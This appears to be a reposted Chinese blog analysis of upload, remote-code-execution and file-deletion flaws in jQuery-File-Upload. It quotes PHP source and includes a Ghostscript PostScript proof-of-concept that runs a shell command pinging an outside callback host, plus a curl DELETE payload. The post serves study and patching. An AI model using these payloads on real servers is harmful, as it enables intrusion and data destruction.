jQuery-File-Upload任意上傳/RCE/越權刪除文件漏洞


前言:看了先知的https://xz.aliyun.com/t/3819文章之后,自己想試着分析下!

任意文件上傳漏洞影響的版本:

jQuery-File-Upload版本 < v9.22.1 and Apache > 2.3.9(默認不再支持.htaccess) or others

產生漏洞的代碼:

protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
            $index = null, $content_range = null) {
        $file = new \stdClass();
        $file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
            $index, $content_range);
        $file->size = $this->fix_integer_overflow((int)$size);
        $file->type = $type;
        if ($this->validate($uploaded_file, $file, $error, $index)) {
            $this->handle_form_data($file, $index);
            $upload_dir = $this->get_upload_path();
            if (!is_dir($upload_dir)) {
                mkdir($upload_dir, $this->options['mkdir_mode'], true);
            }
            $file_path = $this->get_upload_path($file->name);
            $append_file = $content_range && is_file($file_path) &&
                $file->size > $this->get_file_size($file_path);
            if ($uploaded_file && is_uploaded_file($uploaded_file)) {
                // multipart/formdata uploads (POST method uploads)
                if ($append_file) {
                    file_put_contents(
                        $file_path,
                        fopen($uploaded_file, 'r'),
                        FILE_APPEND
                    );
                } else {
                    move_uploaded_file($uploaded_file, $file_path);  // 進行上傳操作
                }
            } else {
                // Non-multipart uploads (PUT method support)
                file_put_contents(
                    $file_path,
                    fopen($this->options['input_stream'], 'r'),
                    $append_file ? FILE_APPEND : 0
                );
            }
            $file_size = $this->get_file_size($file_path, $append_file);
            if ($file_size === $file->size) {
                $file->url = $this->get_download_url($file->name);
                if ($this->is_valid_image_file($file_path)) {
                    $this->handle_image_file($file_path, $file);
                }
            } else {
                $file->size = $file_size;
                if (!$content_range && $this->options['discard_aborted_uploads']) {
                    unlink($file_path);
                    $file->error = $this->get_error_message('abort');
                }
            }
            $this->set_additional_file_properties($file);
        }
        return $file;
    }

一共經過如下四個步驟

主要看就是post函數和handle_file_upload函數

post函數中主要就是將上傳的文件用$_FILE超全局變量來進行接收,然后把數組中相關參數放入到handle_file_upload里面進行處理

這里stdClass類,可以理解為節省資源,這里用來作為一個存儲上傳文件相關數據來使用的

get_file_name進行了取文件名的后綴

進行驗證操作

重點來了,可以發現默認的正則是/.+$/i,不對大小寫敏感,並且任意匹配一個或多個字符,所以可以直接繞過

        if (!preg_match($this->options['accept_file_types'], $file->name)) {
            $file->error = $this->get_error_message('accept_file_types');
            return false;
        }

來到這里,這里雖然有進行圖片后綴名的正則匹配,但是不會進行相應的措施

然后就進行了上傳文件move_uploaded_file

            if ($uploaded_file && is_uploaded_file($uploaded_file)) { //2222
                    // multipart/formdata uploads (POST method uploads)
                    if ($append_file) {
                        file_put_contents(
                            $file_path,
                            fopen($uploaded_file, 'r'),
                            FILE_APPEND
                        );
                    } else {
                        move_uploaded_file($uploaded_file, $file_path);
                    }
                } else {
                    // Non-multipart uploads (PUT method support)
                    file_put_contents(
                        $file_path,
                        fopen($this->options['input_stream'], 'r'),
                        $append_file ? FILE_APPEND : 0
                    );
            }

修復建議:可以在正則的地方進行修改匹配,也可以在驗證是否是圖片的時候進行return


遠程命令執行漏洞:

jQuery-File-Upload版本 < v9.22.1,自己也只測試過9.22.0

get_image_size函數如下代碼:

protected function get_image_size($file_path) {
        if ($this->options['image_library']) {
            if (extension_loaded('imagick')) {
                $image = new \Imagick();
                try {
                    if (@$image->pingImage($file_path)) {
                        $dimensions = array($image->getImageWidth(), $image->getImageHeight());
                        $image->destroy();
                        return $dimensions;
                    }
                    return false;
                } catch (\Exception $e) {
                    error_log($e->getMessage());
                }
            }
            if ($this->options['image_library'] === 2) {
                $cmd = $this->options['identify_bin'];
                $cmd .= ' -ping '.escapeshellarg($file_path);
                exec($cmd, $output, $error);
                if (!$error && !empty($output)) {
                    // image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 465KB 0.000u 0:00.000
                    $infos = preg_split('/\s+/', substr($output[0], strlen($file_path)));
                    $dimensions = preg_split('/x/', $infos[2]);
                    return $dimensions;
                }
                return false;
            }
        }
        if (!function_exists('getimagesize')) {
            error_log('Function not found: getimagesize');
            return false;
        }
        return @getimagesize($file_path);
    }

可以看下調用的地方

validate中如下位置

具體的imagic如何觸發的遠程代碼執行我也不清楚,以后懂的話再填充上!

利用poc(如果沒有收到,記得考慮下是否是內網存在不出網的可能性):

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ping magic.0wtpsg.ceye.io) currentdevice putdeviceprops

文件越權刪除漏洞

漏洞影響版本:自己測試了最新版本也存在~

可以看下,下面的代碼中$success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); ,這里面如果我們的$file_path能夠進行控制的話,那么就能夠進行越權進行文件的刪除了

    public function delete($print_response = true) {
        $file_names = $this->get_file_names_params();
        //var_dump($file_names);
        if (empty($file_names)) {  //返回為空,走下面流程
            $file_names = array($this->get_file_name_param()); //$file_names 里面存放着$_GET['file']接收的內容

        }
        $response = array();
        foreach ($file_names as $file_name) {
            $file_path = $this->get_upload_path($file_name); //取當前文件的路徑
            $success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path); //判斷當前文件是否為文件
            // 並且判斷文件名是否以 點 開頭,例如.htaccess
            if ($success) {
                var_dump($this->options['image_versions']);
                foreach ($this->options['image_versions'] as $version => $options) {
                    if (!empty($version)) {
                        $file = $this->get_upload_path($file_name, $version);
                        if (is_file($file)) {
                            unlink($file);
                        }
                    }
                }
            }
            $response[$file_name] = $success;
        }
        return $this->generate_response($response, $print_response);
    }

payload:curl -X DELETE "http://127.0.0.1/server/php/index.php?file=文件名

很遺憾這里的文件名不能可控,只能是當前的文件進行越權刪除來利用,原因是get_file_names_params函數中調用的get_file_name_param函數中的$this->basename(stripslashes($this->get_query_param($name))),對輸入的文件名進行了過濾操作,導致路徑不可控

    protected function get_file_name_param() {
        $name = $this->get_singular_param_name();
        return $this->basename(stripslashes($this->get_query_param($name)));
    }


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM